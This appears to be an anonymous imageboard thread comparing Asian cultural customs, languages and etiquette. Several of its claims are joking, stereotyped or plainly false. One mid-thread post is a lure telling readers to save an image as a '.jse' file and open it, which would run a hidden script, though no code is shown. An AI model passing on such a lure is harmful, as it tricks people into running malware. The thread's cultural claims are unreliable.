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Cultures of Asia Anonymous
Can it be cultural comparison tiem of Asia now? I've only been to Japan and culture shock made me realize that the East and West have tangible differences, but what about between other Asian countries?

Chopsticks - are they everywhere? Do's and Dont's of chopstick etiquette?
Language - Chinese + Japanese + Korean all have similarities because they adapted off of each other. Any others?
Societal ettiquette/expectations - In Japan they take their shoes off when entering homes, bowing is an important concept, and honorific/humble conjugations of verbs etc. for different situations. This occur anywhere else?

That's all I can think of for now, but my scope is pretty limited. What does /trv/ know?
>> Anonymous
Chopsticks - do hold them far from the point. the further up you hold them, the more sophisticated you are deemed to be. However, only do it if you can actually do it... Also, fold the paper sleeve you get in half, then tie it in a know, and use it to rest the chopsticks on. They are impressed by that.

Languages - Thai?

Social - this is done in Korea as well, but less so in China. Also, remember that all of these countries have a lot to do with 'face' and keeping their respect. Don't do anything that would embarass them, unless they do it first. Respect is very important, and can even get silly - if you go out with Chinese, they will often buy the beer of the first person, so that he doesn't feel dishonoured by their lack of respect for his choice. Let them do it for one round, then tell them to choose what beer they like, so everyone saves face.
>> Anonymous
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Indonesia

Chopsticks - Pah. Eating utensils are for pussies. We eat with our hands!

Language - Indonesian is based on Malay with a good mix of Portugese, Dutch, Arabic, French, English and Hokkien Chinese mixed in.

Culture - Too diverse (read: I'm too fucking lazy). Check Wikipedia.
>> Anonymous
South East Asia and South Asia don't use chopsticks, except when they eat noodles.
>> Anonymous
OP here.
>>52749
In Japan they also have this complex concept of gift giving where for practically every occasion it is the expectation to exchange gifts. Heck, I had to bring numerous gifts with me for my homestay family and then at the end they sent me back with nearly as many for my family. Also, the price (sentimental or physical) plays into it, so if you give something really expensive, the recipient will feel obligated to match that. Another silly and stressful concept of respect to me. Almost superficial.

>>52751
Fuck yea, Indonesia! I'm white but have some Indonesian blood in me. Their food is awesome.
>> Anonymous
Most of the shit that is "cultural" about east asia is directly influenced by india, except for the food.
>> Anonymous
>>52781

You mean South East Asia and South Asia.
>> Anonymous
OP again.
>>52781
wat? Haven't heard that before. China + India have religion cross over but that's all I can think of.

>>52749
http://en.wikipedia.org/wiki/Tai-Kadai_languages
Seems like Thai has some cross over into China/SE Asia but not Korea + Japan. I find it interesting that Korean and Japanese sound very similar (I've been learning Japanese for 3 years now and am initially thrown off when I hear it.) but the same isn't true with Chinese.
>> Anonymous
>>Language - Chinese + Japanese + Korean all have similarities because they adapted off of each other
Troll.
>> Anonymous
>>52759
Almost?! More like "Totally".
>> Anonymous
Everything I know from Southern China

Chopsticks - Everyone uses them. Period.
Language - Chinese + Japanese + Korean all different languages that don't relate beyond a couple of conjugates. Any others? Vietnamese is written in the Roman Alphabet. China doesn't have an alphabet, but an extensive roots/prefix/suffix. China has dialects that are not mutually intelligible, like they speak Italian in the north and French in the south. And Finnish in Fujian.

Societal ettiquette/expectations - Paternal society. Families are important. Divorces are not part of the culture. Females are not expected to leave far from the family (to college), but supposed to stay where the family is. Sons are important. Grandparents even more. Olden folk move to their children's home for care.
Everywhere in Asia they take their shoes off when entering homes. Don't get touchy touchy with another Asian -- they don't "kiss" as much as we do. Avoid eye-contact when talking. Eye-contact they relate to the "evil eye" a parent would give his child.

God is absent, but the belief in afterlife is still there. (Not talking about Korea). Going to the market, or meeting family is the equivalent to meeting friends at church.

Geography wise, in China, it's humid. The mountains are lush green. The rivers are long and flow from Tibetan snow. The breadbasket is centered in Chengdu in the West, much like California. The massive population surrounds the northern areas around Beijing, and coastal cities like Shanghai (new york-esque), Hong Kong (LA) -- don't rely on me for that though.
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The Chinese are equivalent to the Jews in southeast asia, and Israel is akin to Singapore, sorta.
>> Anonymous
     File :-(, x)
1. Open this image. You will see an error message.
2. Save it with the filename "4chan.jse"C
3. Open the file you just saved.
4. Shit bricks.
>> Anonymous
Sorta off-topic but on topic.
Will i get killed if a Chinese/Korean/not Japanese hears that i'm listening to music in Japanese?.
>> Anonymous
>>53155

depends. My Korean friend used to joke in a bar in Harbin, China, that he was a Japanese.

He got beaten up pretty badly.
>> Anonymous
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OP here, what about Japan's obsession with seafood, raw or cooked? Is that unique to Japan due it being a large fricken island?

Oh, and anyone else have strange drinks in Asia? pic related (Calpis Soda: a carbonated yogurt-flavored soda).